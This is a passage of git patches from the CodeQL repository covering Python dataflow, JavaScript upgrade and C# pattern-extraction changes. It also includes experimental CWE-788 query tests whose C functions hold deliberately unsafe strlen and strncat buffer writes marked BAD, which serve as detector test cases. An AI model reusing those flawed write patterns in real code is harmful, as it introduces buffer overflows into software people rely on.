a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -32,69 +32,83 @@ class SyntheticPreUpdateNode extends Node, TSyntheticPreUpdateNode { override Location getLocation() { result = post.getLocation() } } -/** A data flow node for which we should synthesise an associated post-update node. */ -abstract class NeedsSyntheticPostUpdateNode extends Node { - /** A label for this kind of node. This will figure in the textual representation of the synthesized post-update node. */ - abstract string label(); -} +/** A module collecting the different reasons for synthesising a post-update node. */ +module needsSyntheticPostUpdateNode { + /** A data flow node for which we should synthesise an associated post-update node. */ + class NeedsSyntheticPostUpdateNode extends Node { + NeedsSyntheticPostUpdateNode() { + this = argumentPreUpdateNode() + or + this = storePreUpdateNode() + or + this = readPreUpdateNode() + } -/** An argument might have its value changed as a result of a call. */ -class ArgumentPreUpdateNode extends NeedsSyntheticPostUpdateNode, ArgumentNode { - // Certain arguments, such as implicit self arguments are already post-update nodes - // and should not have an extra node synthesised. - ArgumentPreUpdateNode() { - this = any(FunctionCall c).getArg(_) - or - // Avoid argument 0 of method calls as those have read post-update nodes. - exists(MethodCall c, int n | n > 0 | this = c.getArg(n)) - or - this = any(SpecialCall c).getArg(_) - or - // Avoid argument 0 of class calls as those have non-synthetic post-update nodes. - exists(ClassCall c, int n | n > 0 | this = c.getArg(n)) + /** + * A label for this kind of node. This will figure in the textual representation of the synthesized post-update node. + * We favour being an arguments as the reason for the post-update node in case multiple reasons apply. + */ + string label() { + if this = argumentPreUpdateNode() + then result = "arg" + else + if this = storePreUpdateNode() + then result = "store" + else result = "read" + } } - override string label() { result = "arg" } -} + /** + * An argument might have its value changed as a result of a call. + * Certain arguments, such as implicit self arguments are already post-update nodes + * and should not have an extra node synthesised. + */ + ArgumentNode argumentPreUpdateNode() { + result = any(FunctionCall c).getArg(_) + or + // Avoid argument 0 of method calls as those have read post-update nodes. + exists(MethodCall c, int n | n > 0 | result = c.getArg(n)) + or + result = any(SpecialCall c).getArg(_) + or + // Avoid argument 0 of class calls as those have non-synthetic post-update nodes. + exists(ClassCall c, int n | n > 0 | result = c.getArg(n)) + } -/** An object might have its value changed after a store. */ -class StorePreUpdateNode extends NeedsSyntheticPostUpdateNode, CfgNode { - StorePreUpdateNode() { + /** An object might have its value changed after a store. */ + CfgNode storePreUpdateNode() { exists(Attribute a | - node = a.getObject().getAFlowNode() and + result.getNode() = a.getObject().getAFlowNode() and a.getCtx() instanceof Store ) } - override string label() { result = "store" } -} - -/** - * A node marking the state change of an object after a read. - * - * A reverse read happens when the result of a read is modified, e.g. in - * ```python - * l = [ mutable ] - * l[0].mutate() - * ``` - * we may now have changed the content of `l`. To track this, there must be - * a postupdate node for `l`. - */ -class ReadPreUpdateNode extends NeedsSyntheticPostUpdateNode, CfgNode { - ReadPreUpdateNode() { + /** + * A node marking the state change of an object after a read. + * + * A reverse read happens when the result of a read is modified, e.g. in + * ```python + * l = [ mutable ] + * l[0].mutate() + * ``` + * we may now have changed the content of `l`. To track this, there must be + * a postupdate node for `l`. + */ + CfgNode readPreUpdateNode() { exists(Attribute a | - node = a.getObject().getAFlowNode() and + result.getNode() = a.getObject().getAFlowNode() and a.getCtx() instanceof Load ) or - node = any(SubscriptNode s).getObject() + result.getNode() = any(SubscriptNode s).getObject() or - node.getNode() = any(Call call).getKwargs() + // The dictionary argument is read from if the callable has parameters matching the keys. + result.getNode().getNode() = any(Call call).getKwargs() } - - override string label() { result = "read" } } +import needsSyntheticPostUpdateNode + /** A post-update node is synthesized for all nodes which satisfy `NeedsSyntheticPostUpdateNode`. */ class SyntheticPostUpdateNode extends PostUpdateNode, TSyntheticPostUpdateNode { NeedsSyntheticPostUpdateNode pre; @@ -402,6 +416,12 @@ module ArgumentPassing { * * NOT SUPPORTED: Keyword-only parameters. */ + Node testGetArg(CallNode call, int n, DataFlowCallable callable) { + result.getLocation().getStartLine() = 685 and + result.getLocation().getFile().getBaseName() = "ElementTree.py" and + result = getArg(call, TNoShift(), callable.getCallableValue(), n) + } + Node getArg(CallNode call, ArgParamMapping mapping, CallableValue callable, int paramN) { connects(call, callable) and ( From d18c1602cd240871e2b0438c7a605964872a3423 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Wed, 27 Jan 2021 01:25:38 +0100 Subject: [PATCH 0842/1241] Python: autoformat --- .../python/dataflow/new/internal/DataFlowPrivate.qll | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index 48f6c17a5dc..91f424677c6 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -1107,7 +1107,7 @@ predicate subscriptReadStep(CfgNode nodeFrom, Content c, CfgNode nodeTo) { * * * We illustrate the above steps on the assignment - * + * * ```python * (a, b) = ["a", SOURCE] * ``` @@ -1116,23 +1116,23 @@ predicate subscriptReadStep(CfgNode nodeFrom, Content c, CfgNode nodeTo) { * `["a", SOURCE]`: [ListElementContent] * * --Step 1--> - * + * * `TIterableSequence((a, b))`: [ListElementContent] * * --Step 3--> - * + * * `TIterableElement((a, b))`: [] * * --Step 4--> - * + * * `(a, b)`: [TupleElementContent(0)] * * --Step 5a--> * * `a`: [] - * + * * Meaning there is data-flow from the RHS to `a` (an over approximation). The same logic would be applied to show there is data-flow to `b`. Note that _Step 3_ and _Step 4_ would not have been needed if the RHS had been a tuple (since that would have been able to use _Step 2_ instead). - * + * * Another, more complicated example: * ```python * (a, [b, *c]) = ["a", [SOURCE]] From 5d62a56ed881846a3b0767d3accdc2ae559355e2 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Wed, 27 Jan 2021 08:24:11 +0100 Subject: [PATCH 0843/1241] Python: Remove debug function --- .../semmle/python/dataflow/new/internal/DataFlowPrivate.qll | 6 ------ 1 file changed, 6 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index ff240140fa7..c699182837d 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -416,12 +416,6 @@ module ArgumentPassing { * * NOT SUPPORTED: Keyword-only parameters. */ - Node testGetArg(CallNode call, int n, DataFlowCallable callable) { - result.getLocation().getStartLine() = 685 and - result.getLocation().getFile().getBaseName() = "ElementTree.py" and - result = getArg(call, TNoShift(), callable.getCallableValue(), n) - } - Node getArg(CallNode call, ArgParamMapping mapping, CallableValue callable, int paramN) { connects(call, callable) and ( From 9a85b761a17b56d1c4b5a02e5cb26998fac590ff Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Wed, 27 Jan 2021 12:46:10 +0300 Subject: [PATCH 0844/1241] Update test.c --- .../Security/CWE/CWE-788/semmle/tests/test.c | 36 +++++++++---------- 1 file changed, 18 insertions(+), 18 deletions(-) diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/test.c b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/test.c index 84487670bf7..ce07a2ddba2 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/test.c +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/test.c @@ -10,30 +10,30 @@ void badFunc0(){ struct buffers buffAll; struct buffers * buffAll1; - buff1[strlen(buff1)]=0; - buffAll.buff1[strlen(buffAll.buff1)]=0; - buffAll.buff2[strlen(buffAll.buff2)]=0; - buffAll1->buff1[strlen(buffAll1->buff1)]=0; - buffAll1->buff2[strlen(buffAll1->buff2)]=0; - globalBuff1.buff1[strlen(globalBuff1.buff1)]=0; - globalBuff1.buff2[strlen(globalBuff1.buff2)]=0; - globalBuff2->buff1[strlen(globalBuff2->buff1)]=0; - globalBuff2->buff2[strlen(globalBuff2->buff2)]=0; + buff1[strlen(buff1)]=0; // BAD + buffAll.buff1[strlen(buffAll.buff1)]=0; // BAD + buffAll.buff2[strlen(buffAll.buff2)]=0; // BAD + buffAll1->buff1[strlen(buffAll1->buff1)]=0; // BAD + buffAll1->buff2[strlen(buffAll1->buff2)]=0; // BAD + globalBuff1.buff1[strlen(globalBuff1.buff1)]=0; // BAD + globalBuff1.buff2[strlen(globalBuff1.buff2)]=0; // BAD + globalBuff2->buff1[strlen(globalBuff2->buff1)]=0; // BAD + globalBuff2->buff2[strlen(globalBuff2->buff2)]=0; // BAD } void noBadFunc0(){ unsigned char buff1[12],buff1_c[12]; struct buffers buffAll,buffAll_c; struct buffers * buffAll1,*buffAll1_c; - buff1[strlen(buff1_c)]=0; - buffAll.buff1[strlen(buffAll_c.buff1)]=0; - buffAll.buff2[strlen(buffAll.buff1)]=0; - buffAll1->buff1[strlen(buffAll1_c->buff1)]=0; - buffAll1->buff2[strlen(buffAll1->buff1)]=0; - globalBuff1.buff1[strlen(globalBuff1_c.buff1)]=0; - globalBuff1.buff2[strlen(globalBuff1.buff1)]=0; - globalBuff2->buff1[strlen(globalBuff2_c->buff1)]=0; - globalBuff2->buff2[strlen(globalBuff2->buff1)]=0; + buff1[strlen(buff1_c)]=0; // GOOD + buffAll.buff1[strlen(buffAll_c.buff1)]=0; // GOOD + buffAll.buff2[strlen(buffAll.buff1)]=0; // GOOD + buffAll1->buff1[strlen(buffAll1_c->buff1)]=0; // GOOD + buffAll1->buff2[strlen(buffAll1->buff1)]=0; // GOOD + globalBuff1.buff1[strlen(globalBuff1_c.buff1)]=0; // GOOD + globalBuff1.buff2[strlen(globalBuff1.buff1)]=0; // GOOD + globalBuff2->buff1[strlen(globalBuff2_c->buff1)]=0; // GOOD + globalBuff2->buff2[strlen(globalBuff2->buff1)]=0; // GOOD } void goodFunc0(){ unsigned char buffer[12]; From 885d26805febf0b1fe7e253f6065f31f83291c03 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Wed, 27 Jan 2021 12:47:51 +0300 Subject: [PATCH 0845/1241] Update AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.expected --- ...ocationAfterEndOfBufferUsingStrlen.expected | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.expected b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.expected index 82d3e224993..c2f02dd203e 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.expected +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.expected @@ -1,9 +1,9 @@ -| test.c:13:3:13:24 | ... = ... | use a different method to calculate the length. | -| test.c:14:3:14:40 | ... = ... | use a different method to calculate the length. | -| test.c:15:3:15:40 | ... = ... | use a different method to calculate the length. | -| test.c:16:3:16:44 | ... = ... | use a different method to calculate the length. | -| test.c:17:3:17:44 | ... = ... | use a different method to calculate the length. | -| test.c:18:3:18:48 | ... = ... | use a different method to calculate the length. | -| test.c:19:3:19:48 | ... = ... | use a different method to calculate the length. | -| test.c:20:3:20:50 | ... = ... | use a different method to calculate the length. | -| test.c:21:3:21:50 | ... = ... | use a different method to calculate the length. | +| test.c:13:3:13:24 | ... = ... | potential unsafe or redundant assignment. | +| test.c:14:3:14:40 | ... = ... | potential unsafe or redundant assignment. | +| test.c:15:3:15:40 | ... = ... | potential unsafe or redundant assignment. | +| test.c:16:3:16:44 | ... = ... | potential unsafe or redundant assignment. | +| test.c:17:3:17:44 | ... = ... | potential unsafe or redundant assignment. | +| test.c:18:3:18:48 | ... = ... | potential unsafe or redundant assignment. | +| test.c:19:3:19:48 | ... = ... | potential unsafe or redundant assignment. | +| test.c:20:3:20:50 | ... = ... | potential unsafe or redundant assignment. | +| test.c:21:3:21:50 | ... = ... | potential unsafe or redundant assignment. | From 5a89fa3f67af11b49362c08dd534dbb462d15492 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Wed, 27 Jan 2021 10:10:08 +0000 Subject: [PATCH 0846/1241] JS: Fix performance issue in upgrade script --- .../toplevel_parent_xml_node.ql | 29 +++++++++++++++---- 1 file changed, 24 insertions(+), 5 deletions(-) diff --git a/javascript/upgrades/c8859f3725d4b070a877f8792214582d517c8a9b/toplevel_parent_xml_node.ql b/javascript/upgrades/c8859f3725d4b070a877f8792214582d517c8a9b/toplevel_parent_xml_node.ql index d8de8b32916..daf6b007086 100644 --- a/javascript/upgrades/c8859f3725d4b070a877f8792214582d517c8a9b/toplevel_parent_xml_node.ql +++ b/javascript/upgrades/c8859f3725d4b070a877f8792214582d517c8a9b/toplevel_parent_xml_node.ql @@ -1,18 +1,37 @@ +class Location extends @location { + string toString() { none() } + + predicate startsAtLine(@file file, int line) { locations_default(this, file, line, _, _, _) } +} + class TopLevel extends @toplevel { string toString() { none() } + + Location getLocation() { hasLocation(this, result) } + + pragma[nomagic] + predicate startsAtLine(@file file, int line) { getLocation().startsAtLine(file, line) } } class XmlNode extends @xmllocatable { string toString() { none() } + + Location getLocation() { xmllocations(this, result) } + + pragma[nomagic] + predicate startsAtLine(@file file, int line) { getLocation().startsAtLine(file, line) } } -// Based on previous implementation on HTMLNode.getCodeInAttribute and getInlineScript +// Based on previous implementation on HTMLNode.getCodeInAttribute and getInlineScript, +// with `startsAtLine` added for performance reasons. from - TopLevel top, XmlNode xml, @file f, @location l1, int sl1, int sc1, int el1, int ec1, - @location l2, int sl2, int sc2, int el2, int ec2 + TopLevel top, XmlNode xml, @file f, Location l1, int sl1, int sc1, int el1, int ec1, Location l2, + int sl2, int sc2, int el2, int ec2 where - xmllocations(xml, l1) and - hasLocation(top, l2) and + l1 = xml.getLocation() and + l2 = top.getLocation() and + xml.startsAtLine(f, sl1) and + top.startsAtLine(f, [sl1, sl1 + 1]) and locations_default(l1, f, sl1, sc1, el1, ec1) and locations_default(l2, f, sl2, sc2, el2, ec2) and ( From aebf7bdff412b6a49441a223eb1535af162fb721 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Wed, 27 Jan 2021 13:12:48 +0300 Subject: [PATCH 0847/1241] Update test.c --- .../query-tests/Security/CWE/CWE-788/semmle/tests/test.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/test.c b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/test.c index 212baf83497..0e6fc01f882 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/test.c +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/test.c @@ -2,14 +2,14 @@ void workFunction_0(char *s) { char buf[80]; strncat(buf, s, sizeof(buf)-strlen(buf)-1); // GOOD strncat(buf, s, sizeof(buf)-strlen(buf)); // BAD - strncat(buf, "fix", sizeof(buf)-strlen(buf)); // BAD but usually the size of the buffer is calculated manually. + strncat(buf, "fix", sizeof(buf)-strlen(buf)); // BAD [NOT DETECTED] } void workFunction_1(char *s) { #define MAX_SIZE 80 char buf[MAX_SIZE]; strncat(buf, s, MAX_SIZE-strlen(buf)-1); // GOOD strncat(buf, s, MAX_SIZE-strlen(buf)); // BAD - strncat(buf, "fix", MAX_SIZE-strlen(buf)); // BAD but usually the size of the buffer is calculated manually. + strncat(buf, "fix", MAX_SIZE-strlen(buf)); // BAD [NOT DETECTED] } void workFunction_2_0(char *s) { char * buf; @@ -17,8 +17,7 @@ void workFunction_2_0(char *s) { buf = (char *) malloc(len); strncat(buf, s, len-strlen(buf)-1); // GOOD strncat(buf, s, len-strlen(buf)); // BAD - strncat(buf, "fix", len-strlen(buf)); // BAD but usually the size of the buffer is calculated manually. -} + strncat(buf, "fix", len-strlen(buf)); // BAD [NOT DETECTED] void workFunction_2_1(char *s) { char * buf; int len=80; From 68eba11dbfc856b89122fd14352f38a9de141a5a Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Wed, 27 Jan 2021 13:16:56 +0300 Subject: [PATCH 0848/1241] Update AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.ql --- .../AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.ql | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.ql b/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.ql index 169280cbd87..b40b9c74ebe 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.ql +++ b/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.ql @@ -11,7 +11,6 @@ */ import cpp -import semmle.code.cpp.valuenumbering.HashCons import semmle.code.cpp.valuenumbering.GlobalValueNumbering /** @@ -39,7 +38,7 @@ class WrongCallStrncat extends FunctionCall { */ predicate isExpressionEqualSizeof() { // the left side of the expression `someExpr` is `sizeof(buf)`. - hashCons(this.getArgument(0)) = hashCons(leftsomeExpr.(SizeofExprOperator).getExprOperand()) + globalValueNumber(this.getArgument(0)) = globalValueNumber(leftsomeExpr.(SizeofExprOperator).getExprOperand()) or // value of the left side of the expression `someExpr` equal `sizeof(buf)` value, and `buf` is array. leftsomeExpr.getValue().toInt() = this.getArgument(0).getType().getSize() From 4685fc0a32acc055587802c23dbc98a79b5b7f05 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Thu, 12 Nov 2020 11:47:25 +0100 Subject: [PATCH 0849/1241] C#: Extract binary patterns --- .../2020-11-19-Add-binary-pattern.md | 3 + .../Expressions/Patterns/BinaryPattern.cs | 28 +++++++++ .../Entities/Expressions/Patterns/Pattern.cs | 3 + .../Kinds/ExprKind.cs | 2 + .../ql/src/semmle/code/csharp/exprs/Expr.qll | 28 +++++++++ csharp/ql/src/semmlecode.csharp.dbscheme | 3 + .../library-tests/csharp9/BinaryPattern.cs | 22 +++++++ .../library-tests/csharp9/PrintAst.expected | 63 +++++++++++++++++++ .../csharp9/binaryPattern.expected | 4 ++ .../library-tests/csharp9/binaryPattern.ql | 4 ++ .../csharp9/initOnlyProperty.expected | 1 + .../csharp9/typePattern.expected | 3 + 12 files changed, 164 insertions(+) create mode 100644 csharp/change-notes/2020-11-19-Add-binary-pattern.md create mode 100644 csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/BinaryPattern.cs create mode 100644 csharp/ql/test/library-tests/csharp9/BinaryPattern.cs create mode 100644 csharp/ql/test/library-tests/csharp9/binaryPattern.expected create mode 100644 csharp/ql/test/library-tests/csharp9/binaryPattern.ql diff --git a/csharp/change-notes/2020-11-19-Add-binary-pattern.md b/csharp/change-notes/2020-11-19-Add-binary-pattern.md new file mode 100644 index 00000000000..27e8ce2a726 --- /dev/null +++ b/csharp/change-notes/2020-11-19-Add-binary-pattern.md @@ -0,0 +1,3 @@ +lgtm,codescanning +* The `BinaryPatternExpr` class has been added to support C# 9 `and` and `or` +patterns. diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/BinaryPattern.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/BinaryPattern.cs new file mode 100644 index 00000000000..33ea47d057b --- /dev/null +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/BinaryPattern.cs @@ -0,0 +1,28 @@ +using Microsoft.CodeAnalysis; +using Microsoft.CodeAnalysis.CSharp; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Semmle.Extraction.Entities; +using Semmle.Extraction.Kinds; + +namespace Semmle.Extraction.CSharp.Entities.Expressions +{ + internal class BinaryPattern : Expression + { + public BinaryPattern(Context cx, BinaryPatternSyntax syntax, IExpressionParentEntity parent, int child) : + base(new ExpressionInfo(cx, null, cx.Create(syntax.GetLocation()), GetKind(syntax.OperatorToken, syntax), parent, child, false, null)) + { + Pattern.Create(cx, syntax.Left, this, 0); + Pattern.Create(cx, syntax.Right, this, 1); + } + + private static ExprKind GetKind(SyntaxToken operatorToken, BinaryPatternSyntax syntax) + { + return operatorToken.Kind() switch + { + SyntaxKind.AndKeyword => ExprKind.AND_PATTERN, + SyntaxKind.OrKeyword => ExprKind.OR_PATTERN, + _ => throw new InternalError(syntax, $"Operator '{operatorToken.Kind()}' is not supported in binary patterns.") + }; + } + } +} \ No newline at end of file diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/Pattern.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/Pattern.cs index a1555805640..65912ba12f1 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/Pattern.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/Pattern.cs @@ -23,6 +23,9 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions case UnaryPatternSyntax unaryPattern: return new UnaryPattern(cx, unaryPattern, parent, child); + case BinaryPatternSyntax binaryPattern: + return new BinaryPattern(cx, binaryPattern, parent, child); + case DeclarationPatternSyntax declPattern: // Creates a single local variable declaration. { diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Kinds/ExprKind.cs b/csharp/extractor/Semmle.Extraction.CSharp/Kinds/ExprKind.cs index 4dce36430d3..ee1185da30d 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Kinds/ExprKind.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Kinds/ExprKind.cs @@ -121,6 +121,8 @@ namespace Semmle.Extraction.Kinds LE_PATTERN = 124, GE_PATTERN = 125, NOT_PATTERN = 126, + AND_PATTERN = 127, + OR_PATTERN = 128, FUNCTION_POINTER_INVOCATION = 129, } } diff --git a/csharp/ql/src/semmle/code/csharp/exprs/Expr.qll b/csharp/ql/src/semmle/code/csharp/exprs/Expr.qll index 09239817953..a025b80dfea 100644 --- a/csharp/ql/src/semmle/code/csharp/exprs/Expr.qll +++ b/csharp/ql/src/semmle/code/csharp/exprs/Expr.qll @@ -301,6 +301,11 @@ private predicate hasChildPattern(ControlFlowElement pm, Expr child) { mid instanceof @unary_pattern_expr and child = mid.getChild(0) ) + or + exists(Expr mid | hasChildPattern(pm, mid) and mid instanceof @binary_pattern_expr | + child = mid.getChild(0) or + child = mid.getChild(1) + ) } /** @@ -502,6 +507,29 @@ class NotPatternExpr extends UnaryPatternExpr, @not_pattern_expr { override string getAPrimaryQlClass() { result = "NotPatternExpr" } } +/** A binary pattern. For example, `1 or 2`. */ +class BinaryPatternExpr extends PatternExpr, @binary_pattern_expr { + /** Gets the left pattern. */ + PatternExpr getLeftOperand() { result = this.getChild(0) } + + /** Gets the right pattern. */ + PatternExpr getRightOperand() { result = this.getChild(1) } +} + +/** A binary or pattern. For example, `1 or 2`. */ +class OrPatternExpr extends BinaryPatternExpr, @or_pattern_expr { + override string toString() { result = "... or ..." } + + override string getAPrimaryQlClass() { result = "OrPatternExpr" } +} + +/** A binary and pattern. For example, `< 1 and > 2`. */ +class AndPatternExpr extends BinaryPatternExpr, @and_pattern_expr { + override string toString() { result = "... and ..." } + + override string getAPrimaryQlClass() { result = "AndPatternExpr" } +} + /** * An expression or statement that matches the value of an expression against * a pattern. Either an `is` expression or a `case` expression/statement. diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme b/csharp/ql/src/semmlecode.csharp.dbscheme index 2fb07f0b8c6..efcd69e086a 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme +++ b/csharp/ql/src/semmlecode.csharp.dbscheme @@ -1032,6 +1032,8 @@ case @expr.kind of | 124 = @le_pattern_expr | 125 = @ge_pattern_expr | 126 = @not_pattern_expr +| 127 = @and_pattern_expr +| 128 = @or_pattern_expr | 129 = @function_pointer_invocation_expr ; @@ -1040,6 +1042,7 @@ case @expr.kind of @pattern_match = @case | @is_expr; @unary_pattern_expr = @not_pattern_expr; @relational_pattern_expr = @gt_pattern_expr | @lt_pattern_expr | @ge_pattern_expr | @le_pattern_expr; +@binary_pattern_expr = @and_pattern_expr | @or_pattern_expr; @integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; @real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; diff --git a/csharp/ql/test/library-tests/csharp9/BinaryPattern.cs b/csharp/ql/test/library-tests/csharp9/BinaryPattern.cs new file mode 100644 index 00000000000..45570ed9695 --- /dev/null +++ b/csharp/ql/test/library-tests/csharp9/BinaryPattern.cs @@ -0,0 +1,22 @@ +using System; + +public class BinaryPattern +{ + public int P1 { get; set; } + + public static bool M1(char c) => + c is 'a' or 'b'; + public static bool M2(object c) => + c is object o and BinaryPattern { P1: 1 } u; + public static bool M3(object c) => + c is object o and BinaryPattern u; + + public static string M4(int i) + { + return i switch + { + 1 or 2 => "1 or 2", + _ => "other" + }; + } +} \ No newline at end of file diff --git a/csharp/ql/test/library-tests/csharp9/PrintAst.expected b/csharp/ql/test/library-tests/csharp9/PrintAst.expected index 1bf5e98d962..d143408ea7b 100644 --- a/csharp/ql/test/library-tests/csharp9/PrintAst.expected +++ b/csharp/ql/test/library-tests/csharp9/PrintAst.expected @@ -54,6 +54,69 @@ AnonymousObjectCreation.cs: # 25| 1: [TypeMention] int # 25| 0: [LocalVariableAccess] access to local variable list # 25| 1: [ObjectCreation] object creation of type List<Int32> +BinaryPattern.cs: +# 3| [Class] BinaryPattern +# 5| 5: [Property] P1 +# 5| -1: [TypeMention] int +# 5| 3: [Getter] get_P1 +# 5| 4: [Setter] set_P1 +#-----| 2: (Parameters) +# 5| 0: [Parameter] value +# 7| 6: [Method] M1 +# 7| -1: [TypeMention] bool +#-----| 2: (Parameters) +# 7| 0: [Parameter] c +# 7| -1: [TypeMention] char +# 8| 4: [IsExpr] ... is ... +# 8| 0: [ParameterAccess] access to parameter c +# 8| 1: [OrPatternExpr] ... or ... +# 8| 0: [CharLiteral,ConstantPatternExpr] a +# 8| 1: [CharLiteral,ConstantPatternExpr] b +# 9| 7: [Method] M2 +# 9| -1: [TypeMention] bool +#-----| 2: (Parameters) +# 9| 0: [Parameter] c +# 9| -1: [TypeMention] object +# 10| 4: [IsExpr] ... is ... +# 10| 0: [ParameterAccess] access to parameter c +# 10| 1: [AndPatternExpr] ... and ... +# 10| 0: [VariablePatternExpr] Object o +# 10| 0: [TypeMention] object +# 10| 1: [RecursivePatternExpr] { ... } +# 10| 0: [LocalVariableDeclExpr] BinaryPattern u +# 10| 1: [TypeAccess] access to type BinaryPattern +# 10| 0: [TypeMention] BinaryPattern +# 10| 3: [PropertyPatternExpr] { ... } +# 10| 0: [ConstantPatternExpr,IntLiteral,LabeledPatternExpr] 1 +# 11| 8: [Method] M3 +# 11| -1: [TypeMention] bool +#-----| 2: (Parameters) +# 11| 0: [Parameter] c +# 11| -1: [TypeMention] object +# 12| 4: [IsExpr] ... is ... +# 12| 0: [ParameterAccess] access to parameter c +# 12| 1: [AndPatternExpr] ... and ... +# 12| 0: [VariablePatternExpr] Object o +# 12| 0: [TypeMention] object +# 12| 1: [VariablePatternExpr] BinaryPattern u +# 12| 0: [TypeMention] BinaryPattern +# 14| 9: [Method] M4 +# 14| -1: [TypeMention] string +#-----| 2: (Parameters) +# 14| 0: [Parameter] i +# 14| -1: [TypeMention] int +# 15| 4: [BlockStmt] {...} +# 16| 0: [ReturnStmt] return ...; +# 16| 0: [SwitchExpr] ... switch { ... } +# 16| -1: [ParameterAccess] access to parameter i +# 18| 0: [SwitchCaseExpr] ... => ... +# 18| 0: [OrPatternExpr] ... or ... +# 18| 0: [ConstantPatternExpr,IntLiteral] 1 +# 18| 1: [ConstantPatternExpr,IntLiteral] 2 +# 18| 2: [StringLiteral] "1 or 2" +# 19| 1: [SwitchCaseExpr] ... => ... +# 19| 0: [DiscardPatternExpr] _ +# 19| 2: [StringLiteral] "other" Discard.cs: # 3| [Class] Discard # 5| 5: [Method] M1 diff --git a/csharp/ql/test/library-tests/csharp9/binaryPattern.expected b/csharp/ql/test/library-tests/csharp9/binaryPattern.expected new file mode 100644 index 00000000000..6eabb4e314b --- /dev/null +++ b/csharp/ql/test/library-tests/csharp9/binaryPattern.expected @@ -0,0 +1,4 @@ +| BinaryPattern.cs:8:14:8:23 | ... or ... | BinaryPattern.cs:8:14:8:16 | a | BinaryPattern.cs:8:21:8:23 | b | +| BinaryPattern.cs:10:14:10:51 | ... and ... | BinaryPattern.cs:10:14:10:21 | Object o | BinaryPattern.cs:10:27:10:51 | { ... } | +| BinaryPattern.cs:12:14:12:41 | ... and ... | BinaryPattern.cs:12:14:12:21 | Object o | BinaryPattern.cs:12:27:12:41 | BinaryPattern u | +| BinaryPattern.cs:18:13:18:18 | ... or ... | BinaryPattern.cs:18:13:18:13 | 1 | BinaryPattern.cs:18:18:18:18 | 2 | diff --git a/csharp/ql/test/library-tests/csharp9/binaryPattern.ql 